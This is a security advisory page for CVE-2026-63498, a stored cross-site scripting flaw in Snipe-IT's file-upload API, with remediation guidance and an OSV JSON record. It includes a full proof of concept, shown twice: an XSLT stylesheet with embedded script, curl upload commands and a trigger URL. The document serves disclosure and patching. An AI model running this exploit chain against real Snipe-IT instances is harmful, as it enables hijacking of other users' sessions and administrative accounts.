CVE-2026-63498: Snipe-IT Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-396x-xmvh-p563
CVSS 8.7
CWE-79
Published
Advisory Summary

CVE-2026-63498 is a HIGH (CVSS 8.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Snipe-IT libraries in the Packagist ecosystem. The issue involves stored xss via inline xml rendering in the uploaded files api. Remediation is available by upgrading affected packages to version 8.7.0.

CVE-2026-63498 at a Glance

CVE Identifier CVE-2026-63498
GHSA Identifier GHSA-396x-xmvh-p563
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Snipe-IT
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-63498

To remediate this vulnerability, upgrade all affected Snipe-IT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

snipe/snipe-it fixed: 8.7.0
Upgrade snipe/snipe-it to 8.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for snipe/snipe-it

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-63498, inspect your project dependencies for Snipe-IT:

inspect dependencies for snipe/snipe-it

Analyze the terminal output to locate any version of Snipe-IT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Snipe-IT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin. This was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443). The attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim. ### Affected Components - app/Http/Requests/UploadFileRequest.php Allows xml uploads through filesystems.allowed_upload_extensions_for_validator. Sanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged. - config/filesystems.php Includes xml in allowed_upload_extensions_array. - app/Http/Controllers/Api/UploadedFilesController.php, method show() Honors the attacker-controlled inline=true query parameter for every uploaded file type. Calls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline(). - routes/api.php Exposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types. - app/Http/Middleware/SecurityHeaders.php The default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script. The non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior. Root Cause File validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline. Laravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform. An attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable: - Reading same-origin pages and API responses available to the victim. - Performing state-changing actions with the victim's session and privileges. - Exposing sensitive asset, user, license, and configuration information. - Administrative account compromise when a superuser opens the attachment. - Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses. ## Proof of Concept ### Preconditions - Snipe-IT is installed with default XML upload support. - The attacker has an API token for a user permitted to manage files on a supported object. - The victim is authenticated and permitted to view files on that object. 1. Create the malicious XSLT file Save the following as style.xml: ```xml <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <head><title>BEFORE</title></head> <body> <div id="result">NOT_EXECUTED</div> <script> document.getElementById('result').textContent = 'XSS_EXECUTED'; document.title = 'SNIPE_XSS'; </script> </body> </html> </xsl:template> </xsl:stylesheet> ``` PHP finfo identifies this file as `text/xml`, not `image/svg+xml`. 2. Upload the stylesheet through the API Replace the base URL, token, object type, and object ID with values from the test instance: ``` curl -i \ -H 'Authorization: Bearer ATTACKER_API_TOKEN' \ -H 'Accept: application/json' \ -F 'file[]=@style.xml;type=text/xml' \ 'https://snipe-it.example/api/v1/models/1/files' ``` Expected result: HTTP 200 and a successful upload response. 3. Obtain the stylesheet file ID ``` curl -s \ -H 'Authorization: Bearer ATTACKER_API_TOKEN' \ -H 'Accept: application/json' \ 'https://snipe-it.example/api/v1/models/1/files' ``` Read the style.xml upload's id from the response and call it STYLE_FILE_ID. 4. Create and upload the referencing XML document Save this as data.xml, replacing STYLE_FILE_ID: ``` <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true"?> <data>test</data> PHP finfo also identifies this file as text/xml. curl -i \ -H 'Authorization: Bearer ATTACKER_API_TOKEN' \ -H 'Accept: application/json' \ -F 'file[]=@data.xml;type=text/xml' \ 'https://snipe-it.example/api/v1/models/1/files' ``` List the files again and obtain the id of data.xml; call it DATA_FILE_ID. 5. Trigger the vulnerability While authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests: `https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true` Expected vulnerable response characteristics: ``` HTTP/1.1 200 OK Content-Type: text/xml Content-Disposition: inline Content-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ... ``` Browser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED. ### Fixed Fixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284

CVE-2026-63498 Affected Snipe-IT Versions

1 component(s)
Fixed Versions:
8.7.0
Product / Package Ecosystem Affected Versions Fixed Version
snipe/snipe-it
Packagist
< 8.7.0
8.7.0

References

Frequently Asked Questions

What is CVE-2026-63498?
CVE-2026-63498 is a security vulnerability in Snipe-IT involving Stored XSS via Inline XML Rendering in the Uploaded Files API under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Snipe-IT versions are affected?
Affected versions include releases prior to 8.7.0 across affected packages: snipe/snipe-it.
What version fixes CVE-2026-63498?
Upgrading to 8.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is snipe/snipe-it affected?
Yes, snipe/snipe-it is affected in releases prior to 8.7.0. Upgrade your dependency to 8.7.0 or later.
What is the CVSS score of CVE-2026-63498?
CVE-2026-63498 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-63498?
CVE-2026-63498 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-63498?
Run the dependency tree command: 'inspect dependencies for snipe/snipe-it'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-396x-xmvh-p563",
  "modified" : "2026-09-24T18:19:38Z",
  "published" : "2026-09-24T18:19:38Z",
  "aliases" : [ "CVE-2026-63498" ],
  "summary" : "Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API",
  "details" : "Snipe-IT's uploaded-files API accepts XML documents and later serves them inline without applying the safe-inline allowlist used by the equivalent web controller. An authenticated user who can attach files to a supported object can upload an XSLT stylesheet and an XML document that references it through xml-stylesheet. When another authorized user opens the XML file through the API with ?inline=true, the browser applies the attacker-controlled stylesheet, which produces HTML containing JavaScript in the Snipe-IT origin.\nThis was reproduced against commit df8e3b144331d0c1cc14778f900e7646d1d9a509 (v8.6.3-231-gdf8e3b1443).\n\nThe attack requires an authenticated account with file access to at least one supported object and one victim interaction. Scope changes because attacker-controlled code executes in another user's Snipe-IT security context. The script can read same-origin data available to the victim and perform authenticated actions as that victim.\n\n### Affected Components\n\n- app/Http/Requests/UploadFileRequest.php\nAllows xml uploads through filesystems.allowed_upload_extensions_for_validator.\nSanitizes only files detected as image/svg+xml. Both files in this proof of concept are detected by PHP finfo as text/xml, so they are stored unchanged.\n- config/filesystems.php\nIncludes xml in allowed_upload_extensions_array.\n- app/Http/Controllers/Api/UploadedFilesController.php, method show()\nHonors the attacker-controlled inline=true query parameter for every uploaded file type.\nCalls Storage::download(..., ['Content-Disposition' => 'inline']) without calling StorageHelper::allowSafeInline().\n- routes/api.php\nExposes the affected route as GET /api/v1/{object_type}/{id}/files/{file_id} for multiple object types.\n- app/Http/Middleware/SecurityHeaders.php\nThe default CSP includes script-src 'self' 'unsafe-inline' 'unsafe-eval', so it does not mitigate the injected inline script.\nThe non-API UploadedFilesController::show() already calls StorageHelper::allowSafeInline() before returning an inline response. The missing equivalent check in the API controller creates the vulnerable behavior.\nRoot Cause\n\nFile validation treats XML as an allowed attachment format, but the API download path treats all accepted formats as safe active browser content. Extension allowlisting for upload is not equivalent to determining whether a response is safe to render inline.\nLaravel derives the response Content-Type from each stored file. It returns text/xml; charset=utf-8, while the controller overrides the normal attachment disposition with Content-Disposition: inline. Chromium processes the xml-stylesheet instruction, loads the second same-origin API attachment as XSLT, and executes script in the HTML document produced by the transform.\n\n\nAn attacker can execute arbitrary JavaScript in the Snipe-IT origin when a victim opens the malicious attachment URL. Depending on the victim's privileges, this can enable:\n- Reading same-origin pages and API responses available to the victim.\n- Performing state-changing actions with the victim's session and privileges.\n- Exposing sensitive asset, user, license, and configuration information.\n- Administrative account compromise when a superuser opens the attachment.\n- Cookies marked HttpOnly cannot be read directly, but this does not prevent same-origin authenticated requests or reading their responses.\n\n## Proof of Concept\n\n### Preconditions\n\n- Snipe-IT is installed with default XML upload support.\n- The attacker has an API token for a user permitted to manage files on a supported object.\n- The victim is authenticated and permitted to view files on that object.\n\n\n1. Create the malicious XSLT file\n\nSave the following as style.xml:\n```xml\n<?xml version=\"1.0\"?>\n<xsl:stylesheet version=\"1.0\"\n  xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n  <xsl:template match=\"/\">\n    <html>\n      <head><title>BEFORE</title></head>\n      <body>\n        <div id=\"result\">NOT_EXECUTED</div>\n        <script>\n          document.getElementById('result').textContent = 'XSS_EXECUTED';\n          document.title = 'SNIPE_XSS';\n        </script>\n      </body>\n    </html>\n  </xsl:template>\n</xsl:stylesheet>\n```\n\nPHP finfo identifies this file as `text/xml`, not `image/svg+xml`.\n2. Upload the stylesheet through the API\n\nReplace the base URL, token, object type, and object ID with values from the test instance:\n```\ncurl -i \\\n  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \\\n  -H 'Accept: application/json' \\\n  -F 'file[]=@style.xml;type=text/xml' \\\n  'https://snipe-it.example/api/v1/models/1/files'\n```\n\nExpected result: HTTP 200 and a successful upload response.\n\n3. Obtain the stylesheet file ID\n\n```\ncurl -s \\\n  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \\\n  -H 'Accept: application/json' \\\n  'https://snipe-it.example/api/v1/models/1/files'\n```\nRead the style.xml upload's id from the response and call it STYLE_FILE_ID.\n\n4. Create and upload the referencing XML document\n\nSave this as data.xml, replacing STYLE_FILE_ID:\n```\n<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"https://snipe-it.example/api/v1/models/1/files/STYLE_FILE_ID?inline=true\"?>\n<data>test</data>\nPHP finfo also identifies this file as text/xml.\ncurl -i \\\n  -H 'Authorization: Bearer ATTACKER_API_TOKEN' \\\n  -H 'Accept: application/json' \\\n  -F 'file[]=@data.xml;type=text/xml' \\\n  'https://snipe-it.example/api/v1/models/1/files'\n```\n\nList the files again and obtain the id of data.xml; call it DATA_FILE_ID.\n\n5. Trigger the vulnerability\n\nWhile authenticated in the Snipe-IT web interface as a victim who can view the object's files, open the following in the same browser. The normal Snipe-IT Passport cookie authenticates both same-origin API requests:\n`https://snipe-it.example/api/v1/models/1/files/DATA_FILE_ID?inline=true`\nExpected vulnerable response characteristics:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/xml\nContent-Disposition: inline\nContent-Security-Policy: ...; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...\n```\nBrowser result: the page title changes to SNIPE_XSS, and the displayed text changes from NOT_EXECUTED to XSS_EXECUTED.\n\n### Fixed\nFixed in https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "snipe/snipe-it"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/security/advisories/GHSA-396x-xmvh-p563"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/commit/e929b31f0b183c5810bd2b833c1f6f643cbe5284"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grokability/snipe-it"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T18:19:38Z",
    "nvd_published_at" : null
  }
}